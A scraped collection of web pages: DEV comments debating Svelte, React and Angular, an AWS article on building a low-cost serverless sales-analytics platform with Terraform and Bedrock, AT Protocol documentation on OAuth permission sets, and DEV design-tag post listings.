Apps. Location Canada Work DevOps at Anoram Joined May 31, 2020 • Nov 29 '20 Dropdown menu Copy link Hide Also, it would be great if you could give a little explanation of this point Confusion in variable names and syntax Like comment: Like comment: 4 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 30 '20 Dropdown menu Copy link Hide Firstly, for confusion in variable names, I'm talking about how Svelte handles state. Coming from React, state would only be initialized with the useState hook. In Svelte, all the variables you make is state which could be confusing for someone just learning Svelte. Also, for the confusion in syntax, I'm talking about the confusion in logic. For example, if statements in Svelte are different than the usual Javascript if statements which could cause some confusion/more learning time for beginners. There are also other examples of this. Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Shriji Shriji Shriji Follow Co-Founder @anoram. High-Performance JavaScript Apps. Location Canada Work DevOps at Anoram Joined May 31, 2020 • Nov 30 '20 Dropdown menu Copy link Hide It makes syntax simpler TBH. React isn't even a direct comparison to Svelte. The only syntax that users will get accustomed to is $ assignments. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Shriji Shriji Shriji Follow Co-Founder @anoram. High-Performance JavaScript Apps. Location Canada Work DevOps at Anoram Joined May 31, 2020 • Nov 29 '20 Dropdown menu Copy link Hide You forgot to mention that Svelte has a great discord :) Like comment: Like comment: 5 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 29 '20 Dropdown menu Copy link Hide I just had a look at it, a great tool! I'll add it to the post! Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Nikola Nikola Nikola Follow Work Angular developer at Cinnamon Agency Joined Jan 21, 2020 • Nov 30 '20 Dropdown menu Copy link Hide Angular con: it is complex? what.... Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Nathan Cai Nathan Cai Nathan Cai Follow A JavaScript one trick pony who loves to code. I live and breath NodeJS, currently learning React and Angular. Location Toronto, Ontario, Canada Education High School Work Back End Developer at Ensemble Education Joined Jun 18, 2020 • Dec 1 '20 Dropdown menu Copy link Hide Learning Angular is actually no that bad until RXJS comes in Like comment: Like comment: 4 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Dec 1 '20 Dropdown menu Copy link Hide You need to learn Typescript Smart/Dumb Components One-way Dataflow and Immutability And much more It's much more complex and harder to understand than the other frameworks on this list. Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Nikola Nikola Nikola Follow Work Angular developer at Cinnamon Agency Joined Jan 21, 2020 • Dec 1 '20 Dropdown menu Copy link Hide learn typescript? You mean to start writing it... it's easy and intuitive, I'm writing Angular, React, and Node code only in typescript. Smart/Dumb Components? I really don't understand what is this referred to? Angular has two-way data biding, and even easier data passing to the child and back to the parent. And of course, it has more features, its framework, React is more like a library compared to Angular. Like comment: Like comment: 2 likes Like Thread Thread Hanster Hanster Hanster Follow Joined Oct 19, 2021 • Oct 19 '21 Dropdown menu Copy link Hide I fully agree. Comparing framework e.g angular against library e.g react, is like comparing a smart tv against a traditional tv. Of course smart tv is more challenging to learn it's usage, not because it's lousy, but it has more features beyond watching tv. Like comment: Like comment: 2 likes Like Comment button Reply View full discussion (47 comments) Some comments may only be visible to logged-in visitors. Sign in to view all comments. Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Joined Oct 12, 2020 More from Henry Boisdequin Weekly Update #1 - 10th Jan 2021 # devjournal # rust # typescript # svelte The 6 Month Web Development Mastery Plan in 2020 — For Free # webdev # react # javascript # programming 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:27 |
https://dev.to/aws-builders/building-a-serverless-sales-analytics-platform-with-ai-insights-for-under-10month-49g9 | Building a Serverless Sales Analytics Platform with AI Insights for Under $10/Month - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Darryl Ruggles for AWS Community Builders Posted on Nov 29, 2025 Building a Serverless Sales Analytics Platform with AI Insights for Under $10/Month # serverless # terraform # lambda # stepfunctions I have a number of projects I’ve been working on that are not finished yet but this is one I wanted to complete before I finished packing and got on the plane to attend AWS Re:Invent in Las Vegas this year. I'm hoping to pick up new techniques and meet many other people who build event-driven architectures every day to learn from them. I see so many great examples of using the managed and serverless services that cloud providers like AWS offer. Being able to build such a complete solution that costs less than $10 a month to run is a common occurrence with these types of builds. You can examine your requirements and budget for any given project and choose from the many tools that are available to use with just an API call and only get charged based on how much you use them. You can try this project out for yourself by checking out the code found in my Github repo here → Github Repo The Challenge Smurf Memorabilia Inc., is a fictional retail chain with multiple store locations and it needs a way to: Collect daily sales data from each store location Transform and store that data efficiently Generate AI-powered business insights Visualize results in dashboards The key requirements include: low cost , minimal operational overhead , and pay only for what you use . Stores will upload their sales data each day in an agreed format. The data will be processed and analysis will be done. Analytics data will be updated and AI-based recommendations will be made. Key people will receive daily emails or SMS messages of what is happening. The Solution: 100% Serverless Architecture My solution involves an event-driven ETL platform using managed AWS services. There are no servers to patch, no capacity to plan, and no minimum fees. You pay only when data flows through the system. Services Used Service Role Pricing Model AWS Lambda All compute (17 functions) Per invocation + duration S3 Object storage Per GB stored + requests DynamoDB Metrics database Per read/write unit (on-demand) Step Functions Workflow orchestration Per state transition EventBridge Event routing Free tier covers most use cases Bedrock AI analysis (Nova Lite) Per token processed API Gateway REST API Per request SNS Notifications Per message These are a few of the managed/serverless offerings from AWS. You can piece together as many of these as you need to build your architecture. These scale automatically from zero to whatever capacity you need. Smart Data Storage with Apache Parquet One of the key architectural decisions was converting the raw uploaded JSON sales data into Apache Parquet format. This columnar storage format delivers significant benefits: Huge Compression Our 30-day dataset comparison: Raw JSON uploads : 53.1 MB Parquet files : 4.7 MB The examples I have get an 11x reduction in size using the default parquet compression algorithm but it can be changed to use even higher compression if needed. This results in great savings for storage and faster query performance. Why Parquet? Columnar Storage : Only reads the columns you need, not entire rows Built-in Compression : Uses efficient encoding (dictionary, run-length, delta) Schema Enforcement : Explicit types prevent data quality issues Ecosystem Support : Works with Athena, Spark, Pandas, and most analytics tools Type-Safe Schema We define an explicit PyArrow schema to ensure data quality. We want to make sure we keep track of which Smurf loot is popular every day and follow the trends. PARQUET_SCHEMA = pa . schema ([ ( " transaction_id " , pa . string ()), ( " transaction_timestamp " , pa . timestamp ( " ms " )), ( " item_sku " , pa . string ()), ( " item_name " , pa . string ()), ( " quantity " , pa . int32 ()), ( " unit_price " , pa . decimal128 ( 10 , 2 )), ( " line_total " , pa . decimal128 ( 10 , 2 )), ( " discount_amount " , pa . decimal128 ( 10 , 2 )), ( " payment_method " , pa . string ()), ( " customer_id " , pa . string ()), ]) Enter fullscreen mode Exit fullscreen mode This schema ensures that decimal precision is maintained (critical for financial data) and timestamps are properly typed for time-series analysis. Hive-Style Partitioning for Efficient Queries Raw uploads arrive with flat filenames like store_0001_2025-11-27.json . We transform these into a Hive-style partition structure : s 3 ://bucket/processed/ ├── year= 2025 / │ └── month= 11 / │ ├── day= 27 / │ │ ├── store_id= 0001 /data.parquet │ │ ├── store_id= 0002 /data.parquet │ │ └── ... │ └── day= 28 / │ └── ... Enter fullscreen mode Exit fullscreen mode Why This Structure Matters Partition Pruning : When you query "all sales for November 2025", tools like Amazon Athena only scan files in year=2025/month=11/ - not the entire dataset. This means: Faster queries Lower costs (Athena charges per TB scanned) Better organization The Transformation Code : # Parse: store_0001_2025-11-27.json store_id , year , month , day = parse_filename ( filename ) # Output: year=2025/month=11/day=27/store_id=0001/data.parquet output_key = f " processed/year= { year } /month= { month } /day= { day } /store_id= { store_id } /data.parquet " Enter fullscreen mode Exit fullscreen mode This simple transformation enables sophisticated analytics without complex ETL pipelines. Two Analytics Options (Web-based and a more standard Business Intelligence approach) I wanted to show how you could use multiple approaches to analyze the sales data. We need to use the best approaches to keep track of those 3-apple tall blue creatures and all the ways their fans want to remember them. One in a more simple web version that is built in ReactJS and runs in your browser. I also built a prototype version of Amazon Quick Suite dashboards. Depending on the audience one of these approaches will likely work (or you could build something else. Option 1: React Dashboard (Developer-Friendly) The project includes a custom ReactJS application that queries the API directly: The Web-based analytics approach is likely best for: Custom visualizations Embedding in existing applications Provides Full control over the user experience No additional licensing costs The React dashboard provides: Real-time metrics display File upload interface with drag-and-drop Historical trend charts AI-generated insights and recommendations Option 2: Amazon Quick Suite (Business-Friendly) This approach offers a managed Business Intelligence (BI) service that imports data from S3: The Quick Suite approach is likely best for: Business users who need self-service analytics Ad-hoc exploration without writing code Sharing dashboards with stakeholders Built-in visualizations (no frontend development) The current project exports five datasets to S3 in newline-delimited JSON format: Store summaries (daily metrics per store) Top products (best sellers) Anomalies (AI-detected unusual patterns) Trends (week-over-week analysis) Recommendations (AI-generated action items) Quick Suite's SPICE engine imports this data for fast, interactive dashboards. Choosing between the analytics approach to use: Factor React Dashboard Quick Suite Cost Included (API calls only) $24/month per author, $3/month per reader Setup Requires development Point-and-click Customization Unlimited Template-based User Type Developers Business analysts Embedding Full control Quick Suite embedding Many organizations could use both: ReactJS for customer-facing features, Quick Suite for internal analytics. Event-Driven Processing The platform uses an event-driven architecture where each component reacts to events rather than polling for work. I always try to use this type of architecture unless the use-case really doesn’t fit it. AWS Step Functions are used to drive the data upload processing as well as the recommendation and analytics flow handling. Upload Processing Flow Store uploads JSON file to S3 (via presigned URL) S3 emits Object Created event EventBridge routes event to Step Functions Step Functions orchestrates the processing pipeline: * Validate schema * Convert to Parquet * Calculate metrics * Store in DynamoDB * Check if all stores reported Enter fullscreen mode Exit fullscreen mode Daily Analysis Trigger When the last store uploads for a day, the system automatically triggers a smurfy comprehensive analysis: The analysis runs exactly when the data is ready. But what if a store fails to report? A scheduled EventBridge rule runs at 11 PM local time as a fallback, ensuring you always get a daily report - even with partial data. The scheduler checks if analysis already ran for that day and skips if so. If invalid data is uploaded, the key stakeholders will receive email or SNS notifications to follow up with users. If the processing flow fails on the first attempt it has built-in retry and backoff mechanisms. Daily Email Reports Once analysis completes, the platform automatically sends a daily summary email via SNS containing: Total revenue across all stores Top performing store of the day AI-detected anomalies and unusual patterns Business recommendations from Bedrock Stakeholders receive insights in their inbox without logging into any dashboard. AI-Powered Insights with Amazon Bedrock The solution uses Amazon Bedrock with the Nova Lite model (configurable to whatever model you want) to generate business intelligence: Anomaly Detection : Identifies stores with unusual revenue patterns Trend Analysis : Compares current performance to historical baselines Recommendations : Generates actionable business advice Bedrock is pay-per-token with no minimum commitment - so it’s perfect for batch processing workloads. The Cost Breakdown Here's what this platform actually costs for a typical month (e.g., 330 file uploads = multiple stores × 30 days): Service Monthly Cost Notes Lambda ~$2.00 17 functions, ~1000 invocations each Step Functions ~$0.50 360 workflow executions DynamoDB ~$1.00 On-demand mode, ~1000 ops S3 ~$0.01 ~60 MB stored Bedrock ~$5.00 Nova Lite, 30 daily analyses EventBridge ~$0.00 Free tier SNS ~$0.10 Email notifications CloudWatch Alarms ~$0.00 7 alarms (first 10 free) Total ~$8.61 Add Quick Suite (if needed) for $24/month per author to build dashboards, or just $3/month per reader for view-only access. Why is this all so cheap? ARM64 Architecture : Lambda on Graviton2 is ~20% cheaper than x86 Parquet Compression : ~ 11x less storage than JSON On-Demand DynamoDB : Pay only for actual read/write operations Event-Driven : No idle compute costs Infrastructure as Code (IaC) I’m a big advocate of using IaC for everything. My favourite tools for this are Terraform, the Serverless Application Model (SAM), and the Cloud Development Kit (CDK). In this case there is VPC provisioning and a lot of resources so I chose my go-to tool Terraform. One command deploys everything with Terraform: terraform apply Enter fullscreen mode Exit fullscreen mode Here are some key snippets from the infrastructure code: Lambda Functions (ARM64 for Cost Savings) Lambda is best place to host your business logic when code execution times are short. All 17 Lambda functions use ARM64 architecture (Graviton2) for ~ 20% cost savings: resource "aws_lambda_function" "process_upload" { filename = data.archive_file.process_upload_zip.output_path function_name = "process_upload" role = aws_iam_role.lambda_role.arn handler = "process_upload.lambda_handler" runtime = "python3.13" architectures = [ "arm64" ] timeout = 30 memory_size = 1024 layers = [ local.powertools_layer_arn , local.pandas_layer_arn ] tracing_config { mode = "Active" } environment { variables = merge(local.powertools_env_vars , { S 3 _BUCKET = aws_s 3 _bucket.upload_bucket.id PROCESSED_PREFIX = var.processed_prefix } ) } } Enter fullscreen mode Exit fullscreen mode DynamoDB (Pay-Per-Request) DynamoDB is my favourite database to use with AWS. It is truly serverless and tables are ready to use in seconds. It offers on-demand billing which means zero compute cost when idle: resource "aws_dynamodb_table" "sales_data" { name = "SalesData" billing_mode = "PAY_PER_REQUEST" hash_key = "PK" range_key = "SK" attribute { name = "PK" type = "S" } attribute { name = "SK" type = "S" } # GSI for querying by date across all stores global_secondary_index { name = "GSI1" hash_key = "GSI1PK" range_key = "GSI1SK" projection_type = "ALL" } } Enter fullscreen mode Exit fullscreen mode EventBridge (S3 to Step Functions) Eventbridge is my favourite AWS service. It offers rules for reacting to events, pipes for bridging data across AWS services, and a nice scheduler. Here i’m using a simple rule that routes S3 uploads to the processing workflow: resource "aws_cloudwatch_event_rule" "s3_upload" { name = "capture-s3-uploads" description = "Capture all S3 object uploads" event_pattern = jsonencode( { source = [ "aws.s3" ] detail-type = [ "Object Created" ] detail = { bucket = { name = [ aws_s 3 _bucket.upload_bucket.id ] } object = { key = [{ prefix = var.upload_prefix }] } } } ) } resource "aws_cloudwatch_event_target" "step_function" { rule = aws_cloudwatch_event_rule.s 3 _upload.name target_id = "UploadProcessorStepFunction" arn = aws_sfn_state_machine.upload_processor.arn role_arn = aws_iam_role.eventbridge_step_function_role.arn } Enter fullscreen mode Exit fullscreen mode Step Functions (Workflow Orchestration) In many cases you want to tightly control and track the flow of processing in your app. AWS Step Function state machines are defined as JSON templates with Lambda ARNs injected: resource "aws_sfn_state_machine" "upload_processor" { name = "upload-processor" role_arn = aws_iam_role.step_function_role.arn definition = templatefile( "${path.module}/../backend/state-machines/upload-processor.json" , { process_upload_lambda_arn = aws_lambda_function.process_upload.arn calculate_metrics_lambda_arn = aws_lambda_function.calculate_metrics.arn write_metrics_lambda_arn = aws_lambda_function.write_metrics.arn check_all_stores_lambda_arn = aws_lambda_function.check_all_stores.arn sns_alerts_topic_arn = aws_sns_topic.sales_alerts.arn daily_analysis_state_machine_arn = aws_sfn_state_machine.daily_analysis.arn } ) } Enter fullscreen mode Exit fullscreen mode S3 Bucket (Secure by Default) S3 is at the core of storing data for so many apps today. My setup has Public access blocked, encryption enabled, and EventBridge notifications on: resource "aws_s3_bucket_public_access_block" "upload_bucket_public_access_block" { bucket = aws_s 3 _bucket.upload_bucket.id block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } resource "aws_s3_bucket_notification" "bucket_notification" { bucket = aws_s 3 _bucket.upload_bucket.id eventbridge = true } Enter fullscreen mode Exit fullscreen mode The complete infrastructure includes: 17 Lambda functions 2 Step Functions state machines API Gateway with 5 endpoints DynamoDB table with GSI S3 bucket with security policies EventBridge rules SNS topics IAM roles with least-privilege policies To set all this up there is no clicking through console pages and no manual configuration drift. Key Takeaways Serverless doesn't mean simple - it means you focus on business logic instead of infrastructure. Parquet is worth the conversion - the great compression pays for itself in storage and query costs. Hive partitioning enables scale - organize data for how it will be queried, not how it arrives. Event-driven beats polling - let AWS route events instead of writing schedulers. Pay-as-you-go works - for variable workloads, managed services beat reserved capacity. Offer analytics options - different users have different needs; support both custom dashboards and BI tools. Try It Yourself The complete source code for my solution is available on GitHub, including: Terraform infrastructure definitions 17 Lambda functions (Python 3.13) React frontend application Sample data generator Quick Suite setup scripts Deploy your own instance and start processing data in under 30 minutes. Built with AWS Lambda, Step Functions, S3, DynamoDB, EventBridge, Bedrock, API Gateway, SNS, and optionally Quick Suite. CLEANUP (IMPORTANT!!) If you do end up deploying this yourself please understand some of the included resources will cost you a small amount of real money. Please don’t forget about it. Please MAKE SURE TO DELETE the stack if you are no longer using it. Running terraform destroy can take care of this or you can delete the server in the AWS console. Try the setup in your AWS account You can clone the Github Repo and try this out in your own AWS account. The README.md file mentions any changes you need to make for it to work in your AWS account. Please let me know if you have any suggestions or problems trying out this example project. For more articles from me please visit my blog at Darryl's World of Cloud or find me on Bluesky , X , LinkedIn , Medium , Dev.to , or the AWS Community . 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https://atproto.com/guides/permission-sets | Permission Requests - AT Protocol Find something... K SDKs Blog GitHub English Português 日本語 한국어 API Documentation Support Home Introduction ATProto Ethos SDKs Glossary FAQ Building apps Quick start Cookbook ⧉ Distributed Systems Guides Overview Identity Data Repositories Schemas & Lexicon Lexicon Style Guide PDS Self-Hosting Going to production OAuth Introduction Permission Requests Account Migration Specs AT Protocol Data Model Lexicon Cryptography Accounts Repository Blobs Labels HTTP API (XRPC) OAuth Permissions Event Stream Sync DID Handle NSID TID Record Key URI Scheme Permission Requests For app developers This guide describes how to request permissions for your AT Proto application. OAuth is used to authorize third-party applications to access users' social graphs, and is a prerequisite for the concepts described here. Control over AT Proto resources is described and granted using permissions . A group of a permissions related to a specific Lexicon namespace (record types and API endpoints) can be bundled together as a "permission set". Both are used in the context of OAuth to grant client software access to account resources on a PDS: For example, the ability to write records of specific types to the user's public repository, or make authenticated API requests to remote services. Developers declare the permissions their app requires to function, and end users are shown the permissions when granting access to the app. In general, it is best to use existing permission sets for cleaner UI, but you can also request individual permissions and define your own permission sets as needed. Refer to the for users section for how these requests appear in the OAuth flow. Requesting permissions When your app initiates an OAuth flow with an ATProto identity provider, it can request specific permission sets by including them in the scope parameter of the authorization request. This should be supplied as a space-separated list in the oauth-client-metadata.json file when registering your OAuth client: { scope: "atproto rpc:app.bsky.feed.searchPosts?aud=* blob:*/*", ... } Copy Copied! OAuth in AT uses Pushed Authorization Requests (PAR). The client metadata file will be fetched dynamically during the session lifecycle, and the scope parameter in oauth-client-metadata.json needs to match the actual authorization HTTP request made by your app: https://your-authorization-server.com/authorize? client_id=1234567890& redirect_uri=https://your-app/callback& scope=atproto rpc:app.bsky.feed.searchPosts?aud=* blob:*/* response_type=code& audience=https://myapi& state=1234567890 Copy Copied! You should try to only request enough permissions to cover the features your app needs. Transition scopes appear to grant permissions to create, update, or delete any of a user's AT records, including posts from other applications. In general, these broad permission requests should be avoided. This helps build trust with your users, and minimizes friction during the authorization process. From a user experience perspective, it's best to keep the number of requested permission sets low. Each additional permission set adds more information to the authorization dialog, which can lead to decision fatigue. It is possible to allow users to grant only a subset of requested permissions, but this can lead to edge cases. Permission types Permissions relate to user owned resources on PDS instances are are represented by five types: repo : Public Repository (records and collections) rpc : Service Authentication (API calls to external services) blob : uploaded media files identity : DID and handle account : hosting status, email address Wildcards (*) are allowed in scope string syntax, and grants access to all records — the most common example being blob:*/* , for working with images and video. Partial wildcards are not supported — for example, app.bsky.* is not a valid scope string. If you wanted to request multiple permissions from a particular namespace or Lexicon, you would need to list them out individually, or use a permission set . This is intentional, to avoid overbroad permission requests. Permission sets are themselves Lexicon schemas and are namespaced like other Lexicons. Unlike other Lexicons, permission sets are prefixed with include: in the scope string, and are dynamic; they can be updated. Rolling out changes When you update your app to use new permission sets, it's important to coordinate the software release with the permission-set updates. If you add new permission sets that require user approval, users will need to re-authorize your app to grant these new permissions. Your release and deployment process for the client metadata document may be separate from your app's code deployment process. Make sure to plan accordingly — an updated oauth-client-metadata.json that requests new permissions must be live before a version of your app that requires those permissions. For Lexicon designers Lexicons are authored in JSON — you can find examples in the Lexicon Guide . Atmosphere HTTP API methods each scope and implement a particular set of Lexicons, so Lexicons must include valid query parameters, request bodies, and response bodies as appropriate. Each Lexicon, in turn, becomes a permission scope — in other words, app.bsky.feed.post is an AT record format, a web endpoint, and a granular permission all at once. Lexicon schemas are published publicly as records in ATProto Lexicon repositories. Refer to Lexicon Publication and Resolution for technical details. Permission Set design Full-featured client apps require a large number of granular permissions to function: dozens or even hundreds of individual permissions. To simplify permission management, Lexicon designers can define "sets" of permissions as part of the schemas they publish. These permission sets are themselves Lexicon schemas and are referred to by namespace ID, such as com.example.authBasicFeatures . For example, your application could request a permission set like include:com.example.authBasicFeatures?aud=did:web:api.example.com%23svc_appview . This would resolve to a Lexicon that defines a set of permissions required for the app to function: { "lexicon": 1, "id": "com.example.authBasicFeatures", "defs": { "main": { "type": "permission-set", "title": "Basic App Functionality", "detail": "Creation of posts and interactions", "permissions": [ { "type": "permission", "resource": "repo", "collection": ["app.example.post"] }, { "type": "permission", "resource": "rpc", "inheritAud": true, "lxm": [ "app.example.getFeed" "app.example.getProfile", ... ] }, ] } } } Copy Copied! Note the auth prefix in the app.example.feed.authOnlyPost and com.example.authBasicFeatures examples. This is a naming convention to indicate that the Lexicon is designed for use as a permission set. Permission sets are limited to expressing permissions that reference resources under the same NSID namespace as the set itself. For example, the set app.example.feed.authOnlyPost could include permissions to app.example.feed.post records and making app.example.feed.getPostThread API endpoint requests to remote services. But it could not grant permissions to app.example.actor.profile . A permission set app.example.authFull , which is a level up in the hierarchy, could include permissions to all these resources. The title and details fields are descriptive, and will be displayed as part of the OAuth flow; see the for users section for an example. Internationalization of these descriptive fields is supported — refer to the permission sets spec . The use of inheritAud in the rpc permission allows you to control inheritance behavior . The blob:*/* permission for image/video handling cannot be included in permission sets and must always be requested separately. Linting and validating You can use goat to create and publish Lexicons. Before publishing, goat can also be used to lint and validate your Lexicon. For example, pulling and linting app.bsky.feed.post : $ goat lex pull app.bsky.feed.post 🟢 app.bsky.feed.post $ goat lex lint lexicons/app/bsky/feed/post.json 🟡 lexicons/app/bsky/feed/post.json [unlimited-string] : no max length [unlimited-string] : no max length error: linting issues detected Copy Copied! Nobody's perfect 😊 You can create a new Lexicon record with goat lex new record : $ goat lex new record dev.project.thing Copy Copied! Develop your Lexicon following the style guide , and then eventually publish it with goat lex publish : $ goat lex publish 🟢 dev.project.thing Copy Copied! After publishing a new Lexicon, you can verify that it is live with goat lex resolve : $ goat lex resolve app.bsky.feed.post { "$type" : "com.atproto.lexicon.schema" , "defs" : { "entity" : { "description" : "Deprecated: use facets instead." , "properties" : { "index" : { "ref" : "#textSlice" , "type" : "ref" }, "type" : { "description" : "Expected values are 'mention' and 'link'." , "type" : "string" }, "value" : { "type" : "string" ... Copy Copied! Revising Permission Sets Permission sets can be revised, but removing them or making destructive changes can break existing applications. In general, permission sets should be closely tied to the applications they are designed for, but not necessarily 1:1. Remember that AT Proto applications can utilize multiple different Lexicons. OAuth flow examples Apps that are using ATProto identity providers solely for authentication only need to request the atproto permission . This provides the same OAuth flow that you might expect from other identity providers; no features of the Atmosphere social graph are used, and no additional permissions are required: This is a fully usable Atmosphere integration, and many applications will use this as a starting point. Note that it produces a straightforward, readable "Authorize" flow. The URL of the requesting app is clearly visible, and the permissions dialog states that the app "wants to uniquely identify you," but nothing else. Next, consider a more complex integration, that requests additional permissions. By default, these will be presented in a summarized view: In this image, note that there are two different Lexicon groupings: Bluesky permissions, and Skyblur permissions. Each Lexicon defines its own permission sets, as well as its own grouping and presentation of those permissions. You can click through on the ? icons to see the details of each permission set: From the expanded ATProto and Bluesky permissions, you might recognize atproto (for OAuth login), blob:*/* (for image and video handling), and several other app.bsky.* permissions for profile and social graph interactions. The Skyblur Lexicon permissions are defined and summarized differently: This is all at the discretion of app developers and Lexicon designers. We provide a model for using different Lexicons side by side, and for each Lexicon to define its own permission sets and presentation. Previous OAuth Introduction Next Account Migration © Copyright 2026 . All rights reserved. Follow us on Bluesky Follow us on GitHub | 2026-01-13T08:49:27 |
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Iker Macaya Faber Iker Macaya Faber Iker Macaya Faber Follow Dec 29 '23 Hooked Book #6 - What are you going to do with this? # design # ethic # books # resume Comments Add Comment 1 min read 20 Button Effects That Will Wow Your User Nandani Sharma Nandani Sharma Nandani Sharma Follow for Canopas Software Dec 27 '23 20 Button Effects That Will Wow Your User # tailwindcss # animation # webdev # design Comments 1 comment 2 min read 🚀Hack Your Design Skills: Basic Rules of Design for Non-Designers 🎨🌎 Athreya aka Maneshwar Athreya aka Maneshwar Athreya aka Maneshwar Follow Dec 24 '23 🚀Hack Your Design Skills: Basic Rules of Design for Non-Designers 🎨🌎 # webdev # design # beginners # programming 10 reactions Comments Add Comment 4 min read Using launcher and themed icons in Android studio, the manual way Marlon López Marlon López Marlon López Follow Dec 23 '23 Using launcher and themed icons in Android studio, the manual way # android # androidstudio # themedicons # design 7 reactions Comments 2 comments 6 min read Good Design Is Easier to Change Than Bad Design Sachin Sachin Sachin Follow Dec 23 '23 Good Design Is Easier to Change Than Bad Design # codenewbie # softwaredevelopment # design Comments Add Comment 2 min read What is a Feature Request? Brandon Foster Brandon Foster Brandon Foster Follow Dec 21 '23 What is a Feature Request? # feature # design # developer # tooling 1 reaction Comments Add Comment 6 min read 📌 How to use Azure VWan on Brainboard? tarak-brainboard tarak-brainboard tarak-brainboard Follow for Brainboard Dec 21 '23 📌 How to use Azure VWan on Brainboard? # azure # cloud # architecture # design 1 reaction Comments Add Comment 3 min read Hooked Book #5 - Investment Iker Macaya Faber Iker Macaya Faber Iker Macaya Faber Follow Dec 21 '23 Hooked Book #5 - Investment # ethic # design # books # resume Comments Add Comment 1 min read Hooked Book #4 - Variable rewards Iker Macaya Faber Iker Macaya Faber Iker Macaya Faber Follow Dec 20 '23 Hooked Book #4 - Variable rewards # design # books # ethic # resume Comments Add Comment 1 min read The Importance of UI/UX Design Knowledge for Frontend Developers Eduardo Moraes Rigo Eduardo Moraes Rigo Eduardo Moraes Rigo Follow Dec 19 '23 The Importance of UI/UX Design Knowledge for Frontend Developers # design # figma # frontend # uidesign 7 reactions Comments Add Comment 3 min read How to Create a Donate Button Widget (HTML & CSS Only) EN EN EN Follow Dec 19 '23 How to Create a Donate Button Widget (HTML & CSS Only) # css # tutorial # design # html 10 reactions Comments Add Comment 2 min read Hooked Book #3 - Action Iker Macaya Faber Iker Macaya Faber Iker Macaya Faber Follow Dec 18 '23 Hooked Book #3 - Action # design # ethic # books # resume Comments Add Comment 1 min read Skillcrush Web Design Fundamentals Sarah Bartley Dye Sarah Bartley Dye Sarah Bartley Dye Follow Dec 17 '23 Skillcrush Web Design Fundamentals # design # webdesign # skillcrush 1 reaction Comments 1 comment 8 min read The Design Process A La Skillcrush Sarah Bartley Dye Sarah Bartley Dye Sarah Bartley Dye Follow Dec 17 '23 The Design Process A La Skillcrush # webdesign # design # skillcrush Comments Add Comment 7 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Design Follow Hide More than just making things look nice... Create Post Older #design posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Responsive Design Full Guide: Crafting Seamless Experiences Across Every Device Nina Rao Nina Rao Nina Rao Follow Jan 4 Responsive Design Full Guide: Crafting Seamless Experiences Across Every Device # design # ui Comments Add Comment 7 min read What my dining table and my cat showed me about human attention Metehan Altuntekin Metehan Altuntekin Metehan Altuntekin Follow Jan 5 What my dining table and my cat showed me about human attention # design # uxdesign # behavior 2 reactions Comments Add Comment 3 min read Unlocking Atomic Design: Building Modern UIs with Confidence Nina Rao Nina Rao Nina Rao Follow Jan 4 Unlocking Atomic Design: Building Modern UIs with Confidence # design Comments Add Comment 7 min read What If the OOD Interview Doesn’t Go as Planned? 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MysticCoder MysticCoder MysticCoder Follow Jan 4 What Keycaps Do You Use to Make Your Keyboard Look Unique? # discuss # design # watercooler Comments Add Comment 5 min read How to Create Product GIFs for Your Landing Page (No Video Editing Required) Varun Krishnan Varun Krishnan Varun Krishnan Follow Jan 2 How to Create Product GIFs for Your Landing Page (No Video Editing Required) # webdev # productivity # tutorial # design Comments Add Comment 2 min read Building Structured AI Videos with Soar2AI: From Prompts to Visual 